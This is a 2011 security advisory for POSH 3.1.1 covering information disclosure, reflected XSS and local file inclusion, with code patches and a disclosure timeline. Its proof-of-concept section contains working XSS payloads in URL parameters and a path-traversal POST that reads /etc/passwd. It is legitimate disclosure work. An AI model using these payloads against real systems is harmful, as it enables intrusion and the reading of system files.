//----- Advisory

Program          : POSH 3.1.1 and prior
Vendor           : www.portaneo.com
Homepage         : http://sourceforge.net/projects/posh/
Discovery        : 2011/09/19
Author Contacted : 2011/09/20
Found by         : CrashFr
This Advisory    : CrashFr

//----- Application description


POSH (Portaneo Open Source Homepage) is a personalizable interface (Netvibes, iGoogle) that can be used in a web application or educational / enterprise intranet context. Enterprise version adds social network, notebooks and search feature.


//----- Description of vulnerability


Local File Inclusion, Cross-Site Scripting (XSS) and Information Disclosure vulnerabilities were identified within POSH version 3.1.1


//----- Proof Of Concept


--- Information disclosure ---
- http://localhost/posh/portal/login.php?lang=fr-en
    - Vulnerability at includes/sessions.inc.php
        Replace:
        if (    preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) {
            $_SESSION['lang'] = $_GET["lang"];
        By:
        if ((preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) && is_file('../l10n/'.$_GET["lang"].'/lang.php')) {
            $_SESSION['lang'] = $_GET["lang"];


--- XSS ---
- http://localhost/posh/portal/login.php?message=XSS%20Catched%20!%22%29%29;alert%28%22XSS%22%29;//
    - Vulnerability at: templates/default/login.php line 42
        Replace: if ($message!='') echo '<font color="#ff0000"><script type="text/javascript">document.write(lg("'.$message.'"));</script></font><br /><br />';
        By: if ($message!='') echo '<font color="#ff0000"><script type="text/javascript">document.write(lg("'.htmlspecialchars($message).'"));</script></font><br /><br />';

- http://localhost/posh/admin/login.php?extid=ok%22%3E%3Cscript%3Ealert%28%27XSS%27%29;%3C/script%3E
    - Vulnerability at: templates/default/login_adminsimplified.php line 93
        Replace: <input type="hidden" name="extid" maxlength="16" value="<?php echo $extid; ?>" class="thinbox" />
        By: <input type="hidden" name="extid" maxlength="16" value="<?php if(is_int($extid)){ echo $extid; } ?>" class="thinbox" />
- http://localhost/posh/admin/index.php?extid=1%29;alert%28%27XSS%27
    - Vulnerability at: templates/default/index_adminsimplified.php line 67 and 70
        Replace: $p.admin.widgets.loadModExtId(<?php echo $extid; ?>);
        By: $p.admin.widgets.loadModExtId(<?php if(is_int($extid)){ echo $extid; } ?>);
        Replace: $p.admin.widgets.refreshIcons(icon,<?php echo $extid; ?>);
        By: $p.admin.widgets.refreshIcons(icon,<?php if(is_int($extid)){ echo $extid; } ?>);


--- Local File Inclusion ---
- http://localhost/posh/portal/scr_changelang.php => POST lang=../../../../../../etc/passwd%00
    POST http://localhost/posh/portal/scr_changelang.php HTTP/1.1
    lang=../../../../../../../../../../../../../../../../etc/passwd%00

    - Call http://localhost/posh/portal/moduleff.php for example to see the result (a lot of page use __LANG to include lang file)
    - Vulnerability at portal/scr_changelang.php line 67
        Replace: $_SESSION['lang']=$lang;
        By: if ((preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) && is_file('../l10n/'.$_GET["lang"].'/lang.php')) {
            $_SESSION['lang']=$lang;
            }


//----- Solution

Apply patchs
Upgrade POSH to 3.1.2


//----- Vulnerability Timeline

2011-09-20 - Reported to vendor
2011-09-21 - Vendor Reply
2011-09-25 - Vendor released POSH 3.1.2
2011-10-10 - Vulnerability Disclosed


# [2011-10-10]